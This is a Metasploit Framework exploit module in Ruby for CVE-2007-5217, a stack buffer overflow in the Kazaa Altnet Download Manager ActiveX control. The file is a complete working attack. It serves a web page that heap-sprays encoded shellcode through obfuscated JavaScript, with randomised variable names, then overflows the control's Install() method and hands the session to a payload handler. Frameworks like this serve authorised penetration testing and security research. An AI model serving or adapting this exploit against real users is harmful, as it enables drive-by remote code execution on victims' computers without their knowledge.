##
# $Id: kazaa_altnet_heap.rb 9262 2010-05-09 17:45:00Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Kazaa Altnet Download Manager ActiveX Control Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in the Altnet Download Manager ActiveX
Control (amd4.dll) bundled with Kazaa Media Desktop 3.2.7.
By sending a overly long string to the "Install()" method, an attacker may be
able to execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'MC' ],
'Version' => '$Revision: 9262 $',
'References' =>
[
[ 'CVE', '2007-5217' ],
[ 'OSVDB', '37785' ],
[ 'URL', 'http://secunia.com/advisories/26970/' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP0-SP2 / IE 6.0SP1 English', { 'Ret' => '\x0c\x0c\x0c\x0c' } ]
],
'DisclosureDate' => 'Oct 3 2007',
'DefaultTarget' => 0))
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Encode the shellcode
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
# Create some nops
nops = Rex::Text.to_unescape(make_nops(4))
# Randomize the javascript variable names
vname = rand_text_alpha(rand(100) + 1)
var_i = rand_text_alpha(rand(30)+2)
rand1 = rand_text_alpha(rand(100) + 1)
rand2 = rand_text_alpha(rand(100) + 1)
rand3 = rand_text_alpha(rand(100) + 1)
rand4 = rand_text_alpha(rand(100) + 1)
rand5 = rand_text_alpha(rand(100) + 1)
rand6 = rand_text_alpha(rand(100) + 1)
rand7 = rand_text_alpha(rand(100) + 1)
rand8 = rand_text_alpha(rand(100) + 1)
# Build out the message
content =
"<html>\n" +
"<object classid='clsid:DEF37997-D9C9-4A4B-BF3C-88F99EACEEC2' id='#{vname}'></object>\n" +
"<script language='javascript'>\n" +
"#{rand1} = unescape('#{shellcode}');\n" +
"#{rand2} = unescape('#{nops}');\n" +
"#{rand3} = 20;\n" +
"#{rand4} = #{rand3}+#{rand1}.length\n" +
"while (#{rand2}.length<#{rand4}) #{rand2}+=#{rand2};\n" +
"#{rand5} = #{rand2}.substring(0, #{rand4});\n" +
"#{rand6} = #{rand2}.substring(0, #{rand2}.length-#{rand4});\n" +
"while(#{rand6}.length+#{rand4}<0x30000) #{rand6} = #{rand6}+#{rand6}+#{rand5};\n" +
"#{rand7} = new Array();\n" +
"for (#{var_i}=0; #{var_i}<400; #{var_i}++) #{rand7}[#{var_i}] = #{rand6} + #{rand1};\n" +
"#{rand8} = '#{target.ret}';\n" +
"while (#{rand8}.length < 5000) #{rand8}+=#{rand8};\n" +
"#{vname}.Install(#{vname} ,#{rand8} ,#{vname}, 1);\n" +
"</script>\n" +
"</html>"
content = Rex::Text.randomize_space(content)
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client
send_response_html(cli, content)
# Handle the payload
handler(cli)
end
end
